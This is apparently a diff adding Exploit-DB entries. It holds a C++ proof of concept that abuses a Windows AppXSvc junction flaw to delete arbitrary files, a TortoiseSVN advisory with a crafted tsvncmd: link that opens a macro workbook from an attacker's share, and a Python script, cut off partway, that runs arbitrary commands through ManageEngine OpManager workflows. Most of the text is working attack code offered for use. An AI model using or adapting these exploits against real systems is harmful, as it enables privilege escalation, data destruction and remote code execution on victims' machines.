|
'''
|
||||||
|
|
||||||
|
hyp3rlinx
|
||||||
244
exploits/windows/local/47253.cpp
Normal file
244
exploits/windows/local/47253.cpp
Normal file
|
|
@ -0,0 +1,244 @@
|
||||||
|
/*
|
||||||
|
# Author : Abdelhamid Naceri
|
||||||
|
# Discovered On : 13/08/2019
|
||||||
|
# Description : An Elevation Of Privileges Exist when the microsoft AppXSvc
|
||||||
|
Deployment Service Cannot Properly Handle The Folder Junction lead to an arbitrary file deletion
|
||||||
|
from a low integrity user .
|
||||||
|
# Still Unpatched On 13/08/2019
|
||||||
|
Here Is A Demo Video https://youtu.be/jqYwMcNvTtM
|
||||||
|
*/
|
||||||
|
#include"windows.h"
|
||||||
|
#include"iostream"
|
||||||
|
#include"conio.h"
|
||||||
|
#include"stdio.h"
|
||||||
|
#include"tlhelp32.h"
|
||||||
|
#include"cstdio"
|
||||||
|
#include"wchar.h"
|
||||||
|
#include"process.h"
|
||||||
|
#include"wchar.h"
|
||||||
|
#include"string"
|
||||||
|
#include"tchar.h"
|
||||||
|
|
||||||
|
#pragma warning(disable : 4996)
|
||||||
|
#pragma comment(lib, "advapi32.lib")
|
||||||
|
#ifndef UNICODE
|
||||||
|
typedef std::string String;
|
||||||
|
#else
|
||||||
|
typedef std::wstring String;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
using namespace std;
|
||||||
|
|
||||||
|
bool FileExists(const wchar_t* file) {
|
||||||
|
if (INVALID_FILE_ATTRIBUTES == GetFileAttributes(file) && GetLastError() == ERROR_FILE_NOT_FOUND)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void remove_dir(const wchar_t* folder)
|
||||||
|
{
|
||||||
|
std::wstring search_path = std::wstring(folder) + _T("/*.*");
|
||||||
|
std::wstring s_p = std::wstring(folder) + _T("/");
|
||||||
|
WIN32_FIND_DATA fd;
|
||||||
|
HANDLE hFind = ::FindFirstFile(search_path.c_str(), &fd);
|
||||||
|
if (hFind != INVALID_HANDLE_VALUE) {
|
||||||
|
do {
|
||||||
|
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
|
||||||
|
if (wcscmp(fd.cFileName, _T(".")) != 0 && wcscmp(fd.cFileName, _T("..")) != 0)
|
||||||
|
{
|
||||||
|
remove_dir((wchar_t*)(s_p + fd.cFileName).c_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
DeleteFile((s_p + fd.cFileName).c_str());
|
||||||
|
}
|
||||||
|
} while (::FindNextFile(hFind, &fd));
|
||||||
|
::FindClose(hFind);
|
||||||
|
_wrmdir(folder);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void killProcessByName(const wchar_t* filename)
|
||||||
|
{
|
||||||
|
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
|
||||||
|
PROCESSENTRY32 pEntry;
|
||||||
|
pEntry.dwSize = sizeof(pEntry);
|
||||||
|
BOOL hRes = Process32First(hSnapShot, &pEntry);
|
||||||
|
while (hRes)
|
||||||
|
{
|
||||||
|
if (wcscmp(pEntry.szExeFile, filename) == 0)
|
||||||
|
{
|
||||||
|
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
|
||||||
|
(DWORD)pEntry.th32ProcessID);
|
||||||
|
if (hProcess != NULL)
|
||||||
|
{
|
||||||
|
TerminateProcess(hProcess, 9);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
hRes = Process32Next(hSnapShot, &pEntry);
|
||||||
|
}
|
||||||
|
CloseHandle(hSnapShot);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool IsProcessRunning(const wchar_t* processName)
|
||||||
|
{
|
||||||
|
bool exists = false;
|
||||||
|
PROCESSENTRY32 entry;
|
||||||
|
entry.dwSize = sizeof(PROCESSENTRY32);
|
||||||
|
|
||||||
|
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
|
||||||
|
|
||||||
|
if (Process32First(snapshot, &entry))
|
||||||
|
while (Process32Next(snapshot, &entry))
|
||||||
|
if (!_wcsicmp(entry.szExeFile, processName))
|
||||||
|
exists = true;
|
||||||
|
|
||||||
|
CloseHandle(snapshot);
|
||||||
|
return exists;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool dirExists(const std::string& dirName_in)
|
||||||
|
{
|
||||||
|
DWORD ftyp = GetFileAttributesA(dirName_in.c_str());
|
||||||
|
if (ftyp == INVALID_FILE_ATTRIBUTES)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (ftyp & FILE_ATTRIBUTE_DIRECTORY)
|
||||||
|
return true;
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
void KillEdge()
|
||||||
|
{
|
||||||
|
killProcessByName(L"MicrosoftEdge.exe");
|
||||||
|
}
|
||||||
|
|
||||||
|
void StartEdge()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
system("start microsoft-edge:");
|
||||||
|
}
|
||||||
|
catch (...){}
|
||||||
|
}
|
||||||
|
|
||||||
|
void exploit(const char* path) {
|
||||||
|
//Inintializing the variable before begining
|
||||||
|
int attempt = 0;
|
||||||
|
string command;
|
||||||
|
wchar_t* userprofile = _wgetenv(L"USERPROFILE");
|
||||||
|
const wchar_t* relpath = (L"\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe");
|
||||||
|
//I created roaming path variable because sometime when i try to wipe ms-edge folder he deny the access so as a solution
|
||||||
|
//I deleted him first
|
||||||
|
const wchar_t* roamingpath = (L"\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\RoamingState");
|
||||||
|
wstring froamingpath(userprofile);
|
||||||
|
froamingpath += wstring(roamingpath);
|
||||||
|
wstring fullpath(userprofile);
|
||||||
|
fullpath += std::wstring(relpath);
|
||||||
|
wchar_t* szBuffsrc = (wchar_t*)fullpath.c_str();
|
||||||
|
wstring fpath(szBuffsrc);
|
||||||
|
string strfpath(fpath.begin(), fpath.end());
|
||||||
|
//Check If MS-Edge Need To Write DACL Or Not
|
||||||
|
|
||||||
|
if (dirExists(strfpath) != true) {
|
||||||
|
printf("[!] Wait MS-Edge Need To Write The DACL");
|
||||||
|
StartEdge();
|
||||||
|
for (;;) {
|
||||||
|
Sleep(1000);
|
||||||
|
if (IsProcessRunning(L"MicrosoftEdge.exe") == true) { break; }
|
||||||
|
}
|
||||||
|
StartEdge();
|
||||||
|
Sleep(7000);
|
||||||
|
KillEdge();
|
||||||
|
printf("\r ");
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
//End Of Check
|
||||||
|
printf("\r# Author : Abdelhamid Naceri\n");
|
||||||
|
printf("# Tested On Windows 10 32&64bit\n");
|
||||||
|
printf("# Description : A Vulnerabilitie Exist On Microsoft AppXSvc Deployement Service (\"wsappx\") Could Allow An Attacker To Arbitratry Delete Any File Exist On A Windows Machine\n");
|
||||||
|
printf("[+] Checking If Path Exist ...");
|
||||||
|
Sleep(2000);
|
||||||
|
if (dirExists(path) != true) {
|
||||||
|
printf("Your Path Is Invalid");
|
||||||
|
ExitProcess(EXIT_FAILURE); }
|
||||||
|
else {
|
||||||
|
printf("Exist !\n");
|
||||||
|
KillEdge();
|
||||||
|
printf("[+] Starting MS-Edge ...\n");
|
||||||
|
StartEdge();
|
||||||
|
Sleep(4000);
|
||||||
|
printf("[+] Killing MS-Edge ...\n");
|
||||||
|
KillEdge();
|
||||||
|
Sleep(3000);
|
||||||
|
printf("[+] Wipping MS-Edge Directory ...\n");
|
||||||
|
killProcessByName(L"dllhost.exe");//I Kill This Process Because Somethime He Lock The Files
|
||||||
|
remove_dir(roamingpath);
|
||||||
|
remove_dir(szBuffsrc);
|
||||||
|
Sleep(2000);
|
||||||
|
remove_dir(szBuffsrc);
|
||||||
|
printf("[+] Checking If Directory Exist Anymore ...");
|
||||||
|
if (dirExists(strfpath) == true) {
|
||||||
|
|
||||||
|
if (dirExists(strfpath) == true) {
|
||||||
|
printf("Something Went Wrong");
|
||||||
|
printf("\n[!] You Should Delete The Files YourSelf Press Anything To Continue");
|
||||||
|
command = "explorer ";
|
||||||
|
command.append(strfpath);
|
||||||
|
system(command.c_str());
|
||||||
|
_getch();
|
||||||
|
goto Continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Continue:
|
||||||
|
printf(" Done\n");
|
||||||
|
Sleep(3000);
|
||||||
|
printf("[+] Attempting to Create Junction To Target ...\n");
|
||||||
|
command = "mklink /J ";
|
||||||
|
command.append("\"");
|
||||||
|
command.append(strfpath);
|
||||||
|
command.append("\"");
|
||||||
|
command.append(" ");
|
||||||
|
command.append("\"");
|
||||||
|
command.append(path);
|
||||||
|
command.append("\"");
|
||||||
|
system(command.c_str());
|
||||||
|
printf("Done\n");
|
||||||
|
Sleep(3000);
|
||||||
|
printf("[+] Firing Up MS-Edge Again ...\n");
|
||||||
|
StartEdge();
|
||||||
|
do { Sleep(1000); } while (IsProcessRunning(L"MicrosoftEdge.exe"));
|
||||||
|
Sleep(3000);
|
||||||
|
StartEdge();
|
||||||
|
command = "explorer ";
|
||||||
|
command.append(path);
|
||||||
|
printf("[!] If The Exploit Done , MS AppXSvc Will Wipe The Target Path\n");
|
||||||
|
system(command.c_str());
|
||||||
|
printf("[!] We Will Open Explorer In The Target Check Your Files If The File Deleted Press Anything To Clear The Exploit Files...\n");
|
||||||
|
_getch();
|
||||||
|
printf("Cleaning ...");
|
||||||
|
_wremove(szBuffsrc);
|
||||||
|
_wrmdir(szBuffsrc);
|
||||||
|
ExitProcess(EXIT_SUCCESS);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char* argv[]) {
|
||||||
|
if (argc == 2) {exploit(argv[1]);}
|
||||||
|
else {
|
||||||
|
printf("# Author : Abdelhamid Naceri\n");
|
||||||
|
printf("# Tested On Windows 10 1903 32&64bit\n");
|
||||||
|
printf("# Description : A Vulnerabilitie Exist On Microsoft AppXSvc Deployement Service (\"wsappx\") Could Allow An Attacker To Arbitratry Delete Any File Exist On A Windows Machine\n");
|
||||||
|
printf("[!] Usage : poc.exe TargetPath");
|
||||||
|
}
|
||||||
|
return EXIT_SUCCESS;
|
||||||
|
}
|
||||||
194
exploits/windows/webapps/47252.txt
Normal file
194
exploits/windows/webapps/47252.txt
Normal file
|
|
@ -0,0 +1,194 @@
|
||||||
|
Document Title:
|
||||||
|
===============
|
||||||
|
TortoiseSVN v1.12.1 - Remote Code Execution Vulnerability
|
||||||
|
|
||||||
|
|
||||||
|
References (Source):
|
||||||
|
====================
|
||||||
|
https://www.vulnerability-lab.com/get_content.php?id=2188
|
||||||
|
|
||||||
|
Product:
|
||||||
|
https://osdn.net/projects/tortoisesvn/storage/1.12.1/Application/TortoiseSVN-1.12.1.28628-x64-svn-1.12.2.msi/
|
||||||
|
|
||||||
|
Ticket: https://groups.google.com/forum/#!forum/tortoisesvn
|
||||||
|
|
||||||
|
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-14422
|
||||||
|
|
||||||
|
CVE-ID:
|
||||||
|
=======
|
||||||
|
CVE-2019-14422
|
||||||
|
|
||||||
|
|
||||||
|
Release Date:
|
||||||
|
=============
|
||||||
|
2019-08-13
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability Laboratory ID (VL-ID):
|
||||||
|
====================================
|
||||||
|
2188
|
||||||
|
|
||||||
|
|
||||||
|
Common Vulnerability Scoring System:
|
||||||
|
====================================
|
||||||
|
8.8
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability Class:
|
||||||
|
====================
|
||||||
|
Code Execution
|
||||||
|
|
||||||
|
|
||||||
|
Current Estimated Price:
|
||||||
|
========================
|
||||||
|
4.000€ - 5.000€
|
||||||
|
|
||||||
|
|
||||||
|
Product & Service Introduction:
|
||||||
|
===============================
|
||||||
|
TortoiseSVN is a really easy to use Revision control / version control /
|
||||||
|
source control software for Windows.
|
||||||
|
It is based on Apache Subversion (SVN); TortoiseSVN provides a nice and
|
||||||
|
easy user interface for Subversion.
|
||||||
|
It is developed under the GPL. Which means it is completely free for
|
||||||
|
anyone to use, including in a commercial
|
||||||
|
environment, without any restriction. The source code is also freely
|
||||||
|
available, so you can even develop your
|
||||||
|
own version if you wish to. Since it's not an integration for a specific
|
||||||
|
IDE like Visual Studio, Eclipse or
|
||||||
|
others, you can use it with whatever development tools you like, and
|
||||||
|
with any type of file.
|
||||||
|
|
||||||
|
(Copy of the about page: https://tortoisesvn.net/about.html )
|
||||||
|
|
||||||
|
|
||||||
|
Abstract Advisory Information:
|
||||||
|
==============================
|
||||||
|
A vulnerability laboratory researcher (vxrl team) discovered a remote
|
||||||
|
code execution vulnerability in the TortoiseSVN v1.12.1 software.
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability Disclosure Timeline:
|
||||||
|
==================================
|
||||||
|
2019-08-13: Public Disclosure (Vulnerability Laboratory)
|
||||||
|
|
||||||
|
Affected Product(s):
|
||||||
|
====================
|
||||||
|
TortoiseSVN
|
||||||
|
Product: TortoiseSVN - Software 1.12.1
|
||||||
|
|
||||||
|
|
||||||
|
Discovery Status:
|
||||||
|
=================
|
||||||
|
Published
|
||||||
|
|
||||||
|
|
||||||
|
Exploitation Technique:
|
||||||
|
=======================
|
||||||
|
Remote
|
||||||
|
|
||||||
|
|
||||||
|
Severity Level:
|
||||||
|
===============
|
||||||
|
High
|
||||||
|
|
||||||
|
|
||||||
|
Authentication Type:
|
||||||
|
====================
|
||||||
|
Pre auth - no privileges
|
||||||
|
|
||||||
|
|
||||||
|
User Interaction:
|
||||||
|
=================
|
||||||
|
Low User Interaction
|
||||||
|
|
||||||
|
|
||||||
|
Disclosure Type:
|
||||||
|
================
|
||||||
|
Independent Security Research
|
||||||
|
|
||||||
|
|
||||||
|
Technical Details & Description:
|
||||||
|
================================
|
||||||
|
A remote code execution vulnerability has been uncovered in the official
|
||||||
|
TortoiseSVN v1.12.1 software.
|
||||||
|
The vulnerability typ allows remote attackers to execute arbitrary codes
|
||||||
|
to compromise a target computer system.
|
||||||
|
|
||||||
|
The URI handler of TortoiseSVN (Tsvncmd:) allows a customised diff
|
||||||
|
operation on Excel workbooks, which could be used to open remote
|
||||||
|
workbooks without protection from macro security settings to execute
|
||||||
|
arbitrary code.
|
||||||
|
|
||||||
|
The `tsvncmd:command:diff?path:[file1]?path2:[file2]` will execute a
|
||||||
|
customised diff on [file1] and [file2] based on the file extension.
|
||||||
|
For xls files, it will execute the script `diff-xls.js` using wscript,
|
||||||
|
which will open the two files for analysis without any macro
|
||||||
|
security warning. An attacker can exploit this by putting a macro virus
|
||||||
|
in a network drive, and force the victim to open the workbooks
|
||||||
|
and execute the macro inside. Since the macro is triggered through
|
||||||
|
wscript, to make the attack less visible, one could kill the wscript
|
||||||
|
process and quit the excel program after the code was executed.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept (PoC):
|
||||||
|
=======================
|
||||||
|
The vulnerability could be triggered by visiting a specially crafted URL
|
||||||
|
via web browser.
|
||||||
|
To reproduce the vulnerability, one could simply create a .url file or
|
||||||
|
open the URL with a browsers,
|
||||||
|
but a notification prompt may be shown for the latter case.
|
||||||
|
|
||||||
|
<a
|
||||||
|
href='tsvncmd:command:diff?path:VBoxSvrvv.xlsm?path2:VBoxSvrvw.xlsx'>Checkout
|
||||||
|
the Repo with TortoiseSVN</a>
|
||||||
|
|
||||||
|
where VBoxSvrv is the remote network drive controlled by the attacker,
|
||||||
|
v.xlsm is the macro virus and w.xlsx is just an empty excel workbook.
|
||||||
|
|
||||||
|
Sources: https://www.vulnerability-lab.com/resources/documents/2188.rar
|
||||||
|
Password: 23vxrl23
|
||||||
|
|
||||||
|
PoC: Video
|
||||||
|
https://www.youtube.com/watch?v=spvRSC377vI
|
||||||
|
|
||||||
|
|
||||||
|
Security Risk:
|
||||||
|
==============
|
||||||
|
The security risk of the remote code execution vulnerability in the
|
||||||
|
software component is estimated as high.
|
||||||
|
|
||||||
|
|
||||||
|
Credits & Authors:
|
||||||
|
==================
|
||||||
|
PingFanZettaKe [VXRL Team] -
|
||||||
|
https://www.vulnerability-lab.com/show.php?user=PingFanZettaKe
|
||||||
|
|
||||||
|
|
||||||
|
Disclaimer & Information:
|
||||||
|
=========================
|
||||||
|
The information provided in this advisory is provided as it is without
|
||||||
|
any warranty. Vulnerability Lab disclaims all warranties,
|
||||||
|
either expressed or implied, including the warranties of merchantability
|
||||||
|
and capability for a particular purpose. Vulnerability-Lab
|
||||||
|
or its suppliers are not liable in any case of damage, including direct,
|
||||||
|
indirect, incidental, consequential loss of business profits
|
||||||
|
or special damages, even if Vulnerability-Lab or its suppliers have been
|
||||||
|
advised of the possibility of such damages. Some states do
|
||||||
|
not allow the exclusion or limitation of liability for consequential or
|
||||||
|
incidental damages so the foregoing limitation may not apply.
|
||||||
|
We do not approve or encourage anybody to break any licenses, policies,
|
||||||
|
deface websites, hack into databases or trade with stolen data.
|
||||||
|
|
||||||
|
Domains: www.vulnerability-lab.com www.vuln-lab.com
|
||||||
|
www.vulnerability-db.com
|
||||||
|
Services: magazine.vulnerability-lab.com
|
||||||
|
paste.vulnerability-db.com infosec.vulnerability-db.com
|
||||||
|
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
|
||||||
|
youtube.com/user/vulnerability0lab
|
||||||
|
Feeds: vulnerability-lab.com/rss/rss.php
|
||||||
|
vulnerability-lab.com/rss/rss_upcoming.php
|
||||||
|
vulnerability-lab.com/rss/rss_news.php
|
||||||
|
Programs: vulnerability-lab.com/submit.php
|
||||||
|
vulnerability-lab.com/register.php
|
||||||
|
vulnerability-lab.com/list-of-bug-bounty-programs.php
|
||||||
266
exploits/windows/webapps/47255.py
Executable file
266
exploits/windows/webapps/47255.py
Executable file
|
|
@ -0,0 +1,266 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# Exploit Title: ManageEngine opManager Authenticated Code Execution
|
||||||
|
# Google Dork: N/A
|
||||||
|
# Date: 08/13/2019
|
||||||
|
# Exploit Author: @kindredsec
|
||||||
|
# Vendor Homepage: https://www.manageengine.com/
|
||||||
|
# Software Link: https://www.manageengine.com/network-monitoring/download.html
|
||||||
|
# Version: 12.3.150
|
||||||
|
# Tested on: Windows Server 2016
|
||||||
|
# CVE: N/A
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import re
|
||||||
|
import random
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import string
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
C_WHITE = '\033[1;37m'
|
||||||
|
C_BLUE = '\033[1;34m'
|
||||||
|
C_GREEN = '\033[1;32m'
|
||||||
|
C_YELLOW = '\033[1;33m'
|
||||||
|
C_RED = '\033[1;31m'
|
||||||
|
C_RESET = '\033[0m'
|
||||||
|
LOGIN_FAIL_MSG = "Invalid username and/or password."
|
||||||
|
|
||||||
|
def buildRandomString(length=10):
|
||||||
|
letters = string.ascii_lowercase
|
||||||
|
return ''.join(random.choice(letters) for i in range(length))
|
||||||
|
|
||||||
|
|
||||||
|
def getSessionData(target, user, password):
|
||||||
|
|
||||||
|
session = requests.Session()
|
||||||
|
session.get(target)
|
||||||
|
|
||||||
|
# Login Sequence
|
||||||
|
randSid = random.uniform(-1,1)
|
||||||
|
getParams = { "requestType" : "AJAX" , "sid" : str(randSid) }
|
||||||
|
postData = { "eraseAutoLoginCookie" : "true" }
|
||||||
|
session.post( url = target + "/servlets/SettingsServlet", data = postData, params = getParams )
|
||||||
|
|
||||||
|
postData = { "loginFromCookieData" : "false",
|
||||||
|
"ntlmv2" : "false",
|
||||||
|
"j_username" : user,
|
||||||
|
"j_password" : password
|
||||||
|
}
|
||||||
|
initialAuth = session.post( url = target + "/j_security_check", data = postData )
|
||||||
|
|
||||||
|
|
||||||
|
if LOGIN_FAIL_MSG in initialAuth.text:
|
||||||
|
|
||||||
|
print(f"{C_RED}[-]{C_RESET} Invalid credentials specified! Could not login to OpManager.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
elif initialAuth.status_code != 200:
|
||||||
|
print(f"{C_RED}[-]{C_RESET} An Unknown Error has occurred during the authentication process.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
apiKeyReg = re.search(".*\.apiKey = .*;", initialAuth.text)
|
||||||
|
apiKey = apiKeyReg.group(0).split('"')[1]
|
||||||
|
|
||||||
|
return { "session" : session , "apiKey" : apiKey }
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def getDeviceList(target, session, apiKey):
|
||||||
|
|
||||||
|
deviceList = session.get( target + "/api/json/v2/device/listDevices" , params = { "apiKey" : apiKey } )
|
||||||
|
|
||||||
|
devices = {}
|
||||||
|
devicesJsonParsed = json.loads(deviceList.text)
|
||||||
|
for row in devicesJsonParsed["rows"]:
|
||||||
|
devices[row["deviceName"]] = [ row["ipaddress"], row["type"] ]
|
||||||
|
|
||||||
|
return devices
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def buildTaskWindows(target, session, apiKey, device, command):
|
||||||
|
|
||||||
|
# Build Task
|
||||||
|
taskName = buildRandomString()
|
||||||
|
workFlowName = buildRandomString(15)
|
||||||
|
|
||||||
|
jsonData = """{"taskProps":{"mainTask":{"taskID":9,"dialogId":3,"name":"""
|
||||||
|
jsonData += '"' + taskName + '"'
|
||||||
|
jsonData += ""","deviceDisplayName":"${DeviceName}","cmdLine":"cmd.exe /c ${FileName}.bat ${DeviceName} ${UserName} ${Password} arg1","scriptBody":"""
|
||||||
|
jsonData += '"' + command + '"'
|
||||||
|
jsonData += ""","workingDir":"${UserHomeDir}","timeout":"60","associationID":-1,"x":41,"y":132},"name":"Untitled","description":""},"triggerProps":{"workflowDetails":{"wfID":"","wfName":"""
|
||||||
|
jsonData += '"' + workFlowName + '"'
|
||||||
|
jsonData += ""","wfDescription":"Thnx for Exec","triggerType":"0"},"selectedDevices":["""
|
||||||
|
jsonData += '"' + device + '"'
|
||||||
|
jsonData += """],"scheduleDetails":{"schedType":"1","selTab":"1","onceDate":"2999-08-14","onceHour":"0","onceMin":"0","dailyHour":"0","dailyMin":"0","dailyStartDate":"2019-08-14","weeklyDay":[],"wee"""
|
||||||
|
jsonData += """klyHour":"0","weeklyMin":"0","monthlyType":"5","monthlyWeekNum":"1","monthlyDay":["1"],"monthlyHour":"0","monthlyMin":"0","yearlyMonth":["0"],"yearlyDate":"1","yearlyHour":"0","y"""
|
||||||
|
jsonData += """earlyMin":"0"},"criteriaDetails":{}}}"""
|
||||||
|
|
||||||
|
makeWorkFlow = session.post(url = target + "/api/json/workflow/addWorkflow", params = { "apiKey" : apiKey }, data = { "jsonData" : jsonData })
|
||||||
|
|
||||||
|
if "has been created successfully" in makeWorkFlow.text:
|
||||||
|
print(f"{C_GREEN}[+]{C_RESET} Successfully created Workflow")
|
||||||
|
else:
|
||||||
|
print(f"{C_RED}[-]{C_RESET} Issues creating workflow. Exiting . . .")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
return workFlowName
|
||||||
|
|
||||||
|
|
||||||
|
def buildTaskLinux(target, session, apiKey, device, command):
|
||||||
|
|
||||||
|
taskName = buildRandomString()
|
||||||
|
workFlowName = buildRandomString(15)
|
||||||
|
|
||||||
|
jsonData = """{"taskProps":{"mainTask":{"taskID":9,"dialogId":3,"name":"""
|
||||||
|
jsonData += '"' + taskName + '"'
|
||||||
|
jsonData += ""","deviceDisplayName":"${DeviceName}","cmdLine":"sh ${FileName} ${DeviceName} arg1","scriptBody":"""
|
||||||
|
jsonData += '"' + command + '"'
|
||||||
|
jsonData += ""","workingDir":"${UserHomeDir}","timeout":"60","associationID":-1,"x":41,"y":132},"name":"Untitled","description":""},"triggerProps":{"workflowDetails":{"wfID":"","wfName":"""
|
||||||
|
jsonData += '"' + workFlowName + '"'
|
||||||
|
jsonData += ""","wfDescription":"Thnx for Exec","triggerType":"0"},"selectedDevices":["""
|
||||||
|
jsonData += '"' + device + '"'
|
||||||
|
jsonData += """],"scheduleDetails":{"schedType":"1","selTab":"1","onceDate":"2999-08-14","onceHour":"0","onceMin":"0","dailyHour":"0","dailyMin":"0","dailyStartDate":"2019-08-14","weeklyDay":[],"wee"""
|
||||||
|
jsonData += """klyHour":"0","weeklyMin":"0","monthlyType":"5","monthlyWeekNum":"1","monthlyDay":["1"],"monthlyHour":"0","monthlyMin":"0","yearlyMonth":["0"],"yearlyDate":"1","yearlyHour":"0","y"""
|
||||||
|
jsonData += """earlyMin":"0"},"criteriaDetails":{}}}"""
|
||||||
|
|
||||||
|
makeWorkFlow = session.post(url = target + "/api/json/workflow/addWorkflow", params = { "apiKey" : apiKey }, data = { "jsonData" : jsonData })
|
||||||
|
|
||||||
|
if "has been created successfully" in makeWorkFlow.text:
|
||||||
|
print(f"{C_GREEN}[+]{C_RESET} Successfully created Workflow")
|
||||||
|
else:
|
||||||
|
print(f"{C_RED}[-]{C_RESET} Issues creating workflow. Exiting . . .")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
return workFlowName
|
||||||
|
|
||||||
|
|
||||||
|
# Get the ID of the newly created workflow
|
||||||
|
def getWorkflowID(target, session, apiKey, workflowName):
|
||||||
|
|
||||||
|
getID = session.get(url = target + "/api/json/workflow/getWorkflowList", params = { "apiKey" : apiKey })
|
||||||
|
|
||||||
|
rbID = -100
|
||||||
|
workflowJsonParsed = json.loads(getID.text)
|
||||||
|
for wf in workflowJsonParsed:
|
||||||
|
if wf['name'] == workflowName:
|
||||||
|
rbID = wf['rbID']
|
||||||
|
|
||||||
|
if rbID == -100:
|
||||||
|
print(f"{C_RED}[-]{C_RESET} Issue obtaining Workflow ID. Exiting ...")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
return rbID
|
||||||
|
|
||||||
|
|
||||||
|
def getDeviceID(target, session, apiKey, rbID, device):
|
||||||
|
|
||||||
|
getDevices = session.get(url = target + "/api/json/workflow/showDevicesForWorkflow", params = { "apiKey" : apiKey , "wfID" : rbID })
|
||||||
|
wfDevicesJsonParsed = json.loads(getDevices.text)
|
||||||
|
wfDevices = wfDevicesJsonParsed["defaultDevices"]
|
||||||
|
deviceID = list(wfDevices.keys())[0]
|
||||||
|
|
||||||
|
return deviceID
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def runWorkflow(target, session, apiKey, rbID, device):
|
||||||
|
|
||||||
|
targetDeviceID = getDeviceID(target, session, apiKey, rbID, device)
|
||||||
|
|
||||||
|
print(f"{C_YELLOW}[!]{C_RESET} Executing Code . . .")
|
||||||
|
workflowExec = session.post(target + "/api/json/workflow/executeWorkflow", params = { "apiKey" : apiKey }, data = { "wfID" : rbID, "deviceName" : targetDeviceID, "triggerType" : 0 } )
|
||||||
|
|
||||||
|
if re.match(r"^\[.*\]$", workflowExec.text.strip()):
|
||||||
|
print(f"{C_GREEN}[+]{C_RESET} Code appears to have run successfully!")
|
||||||
|
else:
|
||||||
|
print(f"{C_RED}[-]{C_RESET} Unknown error has occurred. Please try again or run the process manually.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
deleteWorkflow(target, session, apiKey, rbID)
|
||||||
|
print(f"{C_GREEN}[+]{C_RESET} Exploit complete!")
|
||||||
|
|
||||||
|
|
||||||
|
def deleteWorkflow(target, session, apiKey, rbID):
|
||||||
|
|
||||||
|
print(f"{C_YELLOW}[!]{C_RESET} Cleaning up . . .")
|
||||||
|
delWorkFlow = session.post( target + "/api/json/workflow/deleteWorkflow" , params = { "apiKey" : apiKey, "wfID" : rbID })
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(description="Utilizes OpManager's Workflow feature to execute commands on any monitored device.")
|
||||||
|
parser.add_argument("-t", nargs='?', metavar="target", help="The full base URL of the OpManager Instance (Example: http://192.168.1.1)")
|
||||||
|
parser.add_argument("-u", nargs='?', metavar="user", help="The username of a valid OpManager admin account.")
|
||||||
|
parser.add_argument("-p", nargs='?', metavar="password", help="The password of a valid OpManager admin account.")
|
||||||
|
parser.add_argument("-c", nargs='?', metavar="command", help="The command you want to run.")
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
insufficient_args = False
|
||||||
|
if not args.u:
|
||||||
|
print(f"{C_RED}[-]{C_RESET} Please specify a username with '-t'.")
|
||||||
|
insufficient_args = True
|
||||||
|
if not args.t:
|
||||||
|
print(f"{C_RED}[-]{C_RESET} Please specify a target with '-t'.")
|
||||||
|
insufficient_args = True
|
||||||
|
if not args.p:
|
||||||
|
print(f"{C_RED}[-]{C_RESET} Please specify a password with '-p'.")
|
||||||
|
insufficient_args = True
|
||||||
|
if not args.c:
|
||||||
|
print(f"{C_RED}[-]{C_RESET} Please specify a command with '-c'.")
|
||||||
|
insufficient_args = True
|
||||||
|
|
||||||
|
if insufficient_args:
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
sessionDat = getSessionData(args.t, args.u, args.p)
|
||||||
|
session = sessionDat["session"]
|
||||||
|
apiKey = sessionDat["apiKey"]
|
||||||
|
|
||||||
|
devices = getDeviceList(args.t, session, apiKey)
|
||||||
|
|
||||||
|
# if there's only one device in the OpManager instance, default to running commands on that device;
|
||||||
|
# no need to ask the user.
|
||||||
|
if len(devices.keys()) == 1:
|
||||||
|
device = list(devices.keys())[0]
|
||||||
|
else:
|
